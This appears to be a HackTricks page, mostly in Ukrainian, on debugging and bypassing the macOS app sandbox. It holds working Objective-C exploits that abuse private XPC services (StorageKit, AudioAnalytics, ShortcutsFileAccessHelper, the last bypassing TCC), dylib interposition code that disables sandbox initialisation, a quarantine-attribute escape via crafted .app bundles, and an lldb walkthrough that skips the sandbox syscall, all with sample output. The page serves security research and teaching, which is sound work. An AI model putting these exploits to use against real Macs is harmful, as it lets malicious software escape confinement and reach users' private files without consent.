macOS Sandbox Debug & Bypass
Reading time: 15 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Sandbox loading process
.png)
Image from http://newosxbook.com/files/HITSB.pdf
У попередньому зображенні можна спостерігати як буде завантажено пісочницю під час запуску програми з правом com.apple.security.app-sandbox
.
Компилятор зв'яже /usr/lib/libSystem.B.dylib
з бінарним файлом.
Потім libSystem.B
буде викликати кілька інших функцій, поки xpc_pipe_routine
не надішле права програми до securityd
. Securityd перевіряє, чи процес має бути в карантині всередині пісочниці, і якщо так, він буде в карантині.
Нарешті, пісочниця буде активована викликом __sandbox_ms
, який викличе __mac_syscall
.
Possible Bypasses
Bypassing quarantine attribute
Файли, створені пісочними процесами, отримують атрибут карантину, щоб запобігти втечі з пісочниці. Однак, якщо вам вдасться створити папку .app
без атрибута карантину всередині пісочницької програми, ви зможете зробити так, щоб бінарний файл пакету програми вказував на /bin/bash
і додати деякі змінні середовища в plist, щоб зловживати open
для запуску нової програми без пісочниці.
Це було зроблено в CVE-2023-32364.
caution
Отже, на даний момент, якщо ви здатні створити папку з назвою, що закінчується на .app
без атрибута карантину, ви можете втекти з пісочниці, оскільки macOS лише перевіряє атрибут карантину в папці .app
та в основному виконуваному файлі (і ми вкажемо основний виконуваний файл на /bin/bash
).
Зверніть увагу, що якщо пакет .app вже був авторизований для запуску (він має атрибут карантину з прапором авторизації на запуск), ви також можете зловживати ним... за винятком того, що тепер ви не можете записувати всередині пакетів .app
, якщо у вас немає деяких привілейованих прав TCC (яких у вас не буде всередині пісочниці).
Abusing Open functionality
У останніх прикладах обходу пісочниці Word можна побачити, як функціональність open
може бути зловжита для обходу пісочниці.
Launch Agents/Daemons
Навіть якщо програма призначена для роботи в пісочниці (com.apple.security.app-sandbox
), можливо обійти пісочницю, якщо її виконати з LaunchAgent (~/Library/LaunchAgents
), наприклад.
Як пояснюється в цьому пості, якщо ви хочете отримати стійкість з програмою, яка працює в пісочниці, ви можете зробити так, щоб вона автоматично виконувалася як LaunchAgent і, можливо, інжектувати шкідливий код через змінні середовища DyLib.
Abusing Auto Start Locations
Якщо пісочницький процес може записувати в місце, де пізніше буде запущено бінарний файл без пісочниці, він зможе втекти, просто помістивши туди бінарний файл. Гарним прикладом таких місць є ~/Library/LaunchAgents
або /System/Library/LaunchDaemons
.
Для цього вам може знадобитися навіть 2 кроки: Зробити процес з більш ліберальною пісочницею (file-read*
, file-write*
), щоб виконати ваш код, який насправді запише в місце, де він буде виконаний без пісочниці.
Перевірте цю сторінку про місця автоматичного запуску:
Abusing other processes
Якщо з пісочницького процесу ви зможете компрометувати інші процеси, що працюють в менш обмежених пісочницях (або без них), ви зможете втекти в їх пісочниці:
Available System and User Mach services
Пісочниця також дозволяє спілкуватися з певними Mach-сервісами через XPC, визначеними в профілі application.sb
. Якщо вам вдасться зловживати одним з цих сервісів, ви зможете втекти з пісочниці.
Як зазначено в цьому звіті, інформація про Mach-сервіси зберігається в /System/Library/xpc/launchd.plist
. Можна знайти всі системні та користувацькі Mach-сервіси, шукаючи в цьому файлі <string>System</string>
та <string>User</string>
.
Більше того, можна перевірити, чи доступний Mach-сервіс для пісочницької програми, викликавши bootstrap_look_up
:
void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}
void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}
Доступні служби PID Mach
Ці служби Mach спочатку були зловживані для виходу з пісочниці в цьому звіті. На той час всі XPC служби, які потрібні додатку та його фреймворку, були видимі в домені PID додатку (це служби Mach з ServiceType
як Application
).
Щоб зв'язатися з XPC службою домену PID, потрібно просто зареєструвати її всередині додатку за допомогою рядка, такого як:
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
Крім того, можна знайти всі Application Mach сервіси, шукаючи в System/Library/xpc/launchd.plist
за <string>Application</string>
.
Інший спосіб знайти дійсні xpc сервіси - перевірити ті, що знаходяться в:
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
Декілька прикладів зловживання цією технікою можна знайти в оригінальному описі, однак нижче наведені деякі узагальнені приклади.
/System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
Ця служба дозволяє кожному XPC з'єднанню, завжди повертаючи YES
, а метод runTask:arguments:withReply:
виконує довільну команду з довільними параметрами.
Експлойт був "також простим, як":
@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end
void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];
[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}
/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
Ця XPC служба дозволяла кожному клієнту завжди повертати YES, а метод createZipAtPath:hourThreshold:withReply:
в основному дозволяв вказати шлях до папки для стиснення, і він стисне її у ZIP файл.
Отже, можливо створити фальшиву структуру папок додатка, стиснути її, а потім розпакувати та виконати, щоб вийти з пісочниці, оскільки нові файли не матимуть атрибута карантину.
Експлойт полягав у:
@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];
[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);
sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}
/System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
Ця XPC служба дозволяє надати доступ на читання та запис до довільного URL для XPC клієнта через метод extendAccessToURL:completion:
, який приймає будь-яке з'єднання. Оскільки XPC служба має FDA, можливо зловживати цими дозволами, щоб повністю обійти TCC.
Експлойт був:
@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];
[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];
void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}
Статичне компілювання та динамічне зв'язування
Це дослідження виявило 2 способи обійти Sandbox. Оскільки sandbox застосовується з userland, коли завантажується бібліотека libSystem. Якщо бінарний файл міг уникнути її завантаження, він ніколи не потрапив би під sandbox:
- Якщо бінарний файл був повністю статично скомпільований, він міг би уникнути завантаження цієї бібліотеки.
- Якщо бінарний файл не потребував би завантаження жодних бібліотек (оскільки лінкер також знаходиться в libSystem), йому не потрібно буде завантажувати libSystem.
Shellcodes
Зверніть увагу, що навіть shellcodes в ARM64 потрібно зв'язувати в libSystem.dylib
:
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
Не успадковані обмеження
Як пояснено в бонусі цього звіту, обмеження пісочниці, такі як:
(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))
може бути обійдено новим процесом, що виконується, наприклад:
mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app
Однак, звичайно, цей новий процес не успадкує права або привілеї від батьківського процесу.
Права
Зверніть увагу, що навіть якщо деякі дії можуть бути дозволені пісочницею, якщо додаток має конкретне право, як у:
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]
Interposting Bypass
Для отримання додаткової інформації про Interposting перегляньте:
Interpost _libsecinit_initializer
, щоб запобігти пісочниці
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
void _libsecinit_initializer(void);
void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}
__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
Інтерполяція __mac_syscall
для запобігання пісочниці
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <string.h>
// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);
// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}
// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};
// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
Налагодження та обхід пісочниці з lldb
Давайте скомпілюємо програму, яка повинна бути в пісочниці:
#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}
Тоді скомпілюйте додаток:
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
# Create a certificate for "Code Signing"
# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
caution
Додаток спробує прочитати файл ~/Desktop/del.txt
, що Пісочниця не дозволить.
Створіть файл там, оскільки після обходу Пісочниці він зможе його прочитати:
echo "Sandbox Bypassed" > ~/Desktop/del.txt
Давайте відлагодимо додаток, щоб побачити, коли завантажується Пісочниця:
# Load app in debugging
lldb ./sand
# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine
# run
(lldb) r
# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272
# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000
# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660
# Move until the end of the function
(lldb) finish
# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c
# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"
#
# BYPASS
#
# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
-> 0x187659900 <+0>: mov x16, #0x17d
0x187659904 <+4>: svc #0x80
0x187659908 <+8>: b.lo 0x187659928 ; <+40>
0x18765990c <+12>: pacibsp
# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
[!WARNING] > Навіть з обхідним шляхом Sandbox TCC запитає у користувача, чи хоче він дозволити процесу читати файли з робочого столу
References
- http://newosxbook.com/files/HITSB.pdf
- https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/
- https://www.youtube.com/watch?v=mG715HcDgO8
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.